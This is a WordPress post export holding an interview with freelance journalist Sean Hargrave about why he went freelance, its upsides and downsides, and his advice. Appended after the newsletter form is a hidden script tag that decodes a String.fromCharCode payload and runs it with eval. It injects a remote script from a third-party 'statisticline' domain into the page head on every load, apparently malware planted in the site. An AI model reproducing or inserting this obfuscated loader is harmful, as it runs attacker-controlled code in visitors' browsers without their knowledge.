{"id":5671,"date":"2023-06-09T10:56:40","date_gmt":"2023-06-09T10:56:40","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/freelance-journalist-qa-sean-hargrave\/"},"modified":"2023-06-09T10:56:40","modified_gmt":"2023-06-09T10:56:40","slug":"freelance-journalist-qa-sean-hargrave","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/freelance-journalist-qa-sean-hargrave\/","title":{"rendered":"Freelance Journalist Q&#038;A: Sean Hargrave"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/freelance-journalist-qa-sean-hargrave\/#What_made_you_decide_to_go_freelance\" title=\"What made you decide to\u00a0go\u00a0freelance?\">What made you decide to\u00a0go\u00a0freelance?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/freelance-journalist-qa-sean-hargrave\/#What_steps_did_you_put_in_place_before_you_went_freelance\" title=\"What steps did you put in place before you went\u00a0freelance?\">What steps did you put in place before you went\u00a0freelance?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/freelance-journalist-qa-sean-hargrave\/#How_did_it_feel_before_you_went_freelance\" title=\"How did it feel before you went\u00a0freelance?\">How did it feel before you went\u00a0freelance?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/freelance-journalist-qa-sean-hargrave\/#How_does_it_feel_now_you_are_freelance\" title=\"How does it feel now you are\u00a0freelance?\">How does it feel now you are\u00a0freelance?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/freelance-journalist-qa-sean-hargrave\/#What_are_the_positives_of_freelance_life\" title=\"What are the positives of\u00a0freelance\u00a0life?\">What are the positives of\u00a0freelance\u00a0life?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/freelance-journalist-qa-sean-hargrave\/#What_are_the_negatives_of_freelance_life\" title=\"What are the negatives of\u00a0freelance\u00a0life?\">What are the negatives of\u00a0freelance\u00a0life?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/freelance-journalist-qa-sean-hargrave\/#Any_advice_for_others_looking_to_go_freelance\" title=\"Any advice for others looking to\u00a0go\u00a0freelance?\">Any advice for others looking to\u00a0go\u00a0freelance?<\/a><\/li><\/ul><\/nav><\/div>\n<p style=&quot;color: #444444;&quot;><em>This is the eighth\u00a0in a series of interviews with freelancers, telling us their stories on how they went freelance. The aim is to help others who are thinking of becoming freelance learn more about what it takes, as well as get advice and inspiration so they can get the confidence and understanding to find out if freelancing is right for them.<\/em><\/p>\n<p style=&quot;color: #444444;&quot;><em>If you want to take part in the series, simply\u00a0head here to tell us your freelance story<\/em><\/p>\n<p style=&quot;color: #444444;&quot;><img class=&quot;aligncenter size-medium wp-image-1107&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2014\/08\/Sean-Hargrave-300x300.jpg&quot; alt=&quot;Sean Hargrave&quot; width=&quot;200&quot; height=&quot;200&quot; \/><\/p>\n<ul>\n<li><strong>Name:<\/strong>\u00a0Sean Hargrave<\/li>\n<li><strong>Freelance Area:<\/strong>\u00a0<span style=&quot;color: #222222;&quot;>Freelance journalist, Business issues, Digital marketing, Tech<\/span><\/li>\n<li><strong>Freelance\u00a0For:<\/strong> 14 years<\/li>\n<li><strong>Twitter:<\/strong> @seanhargrave<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"What_made_you_decide_to_go_freelance\"><\/span><strong>What made you decide to\u00a0go\u00a0freelance?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Ambition, the first time; redundancy, the second.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"What_steps_did_you_put_in_place_before_you_went_freelance\"><\/span><strong>What steps did you put in place before you went\u00a0freelance?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A good contact list was the main thing I had to prepare, including people I was pretty confident I could\u00a0freelance\u00a0for.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_did_it_feel_before_you_went_freelance\"><\/span>How did it feel before you went\u00a0freelance?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>First time, in the early nineties it was very exciting and very scary at the same time. I knew I didn&#8217;t want to always work as a deputy on magazines, doing all the rubbish for little reward.<\/p>\n<p>The second time in the late 90s when I was made redundant from The Sunday Times it was similarly exciting and scary but I was confident that with the tech bubble inflating there would be homes for my stories.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_does_it_feel_now_you_are_freelance\"><\/span><strong>How does it feel now you are\u00a0freelance?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Great, most of the time. Good to be your own boss and not have to put up with office politics. Still scary, at the same time, during quiet spells. But the highs of being your own boss outweigh the lows.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"What_are_the_positives_of_freelance_life\"><\/span><strong>What are the positives of\u00a0freelance\u00a0life?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Managing your own work load and working at your pace is great, as is always being around when a sofa or box of wine is delivered! It&#8217;s very hand for school pick ups and the like.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"What_are_the_negatives_of_freelance_life\"><\/span>What are the negatives of\u00a0freelance\u00a0life?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>When you&#8217;re quiet you can start to worry about the next client or commission. You also miss the banter of an office. Writing from home is quite a solitary pursuit.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Any_advice_for_others_looking_to_go_freelance\"><\/span>Any advice for others looking to\u00a0go\u00a0freelance?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Try to line some work up but be aware that people generally only support you for a short amount of time and you need to develop new\u00a0clients and contacts at speed. Put away a slice of your income for income tax from day one to avoid any nasty shocks down the line.<\/p>\n<p><span style=&quot;font-family: sans-serif; font-size: medium;&quot;><br \/>\n<\/span><em>Thanks for taking part, Sean, and for sharing your tips and advice. Make sure to\u00a0follow him on Twitter at\u00a0@seanhargrave.\u00a0<\/em><\/p>\n<p style=&quot;color: #444444;&quot;><em>If you want to take part in the series, simply head here to\u00a0tell us your freelance story.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p><strong>More from the How I Went Freelance series:<\/strong><\/p>\n<ul style=&quot;color: #444444;&quot;>\n<li>Ruth Walters, Let Her Eat Clean<\/li>\n<li>Matt Collins, Charity Chap<\/li>\n<li>Ross Wintle, Oikos<\/li>\n<li>Sam Phillips, Freelance Digital Strategist<\/li>\n<li>Damien Clarkson, Social Chic<\/li>\n<li>Nick Nicolaou, Freelance Web Designer<\/li>\n<li>Art Anthony, Freelance Copywriter<\/li>\n<li>Sean Hargrave, Freelance Journalist<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b><i>Want to get more advice on how to be a happier, confident and successful freelancer?\u00a0Get tips and ideas\u00a0delivered straight to your inbox:<\/i><\/b><\/p>\n<p>[mc4wp_form]<\/p>\n<p>&nbsp;<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is the eighth\u00a0in a series of interviews with freelancers, telling us their stories on how they went freelance. The aim is to help others who are thinking of becoming freelance learn more about what it takes, as well as get advice and inspiration so they can get the confidence and understanding to find out [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-5671","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5671"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=5671"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5671\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=5671"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=5671"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=5671"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}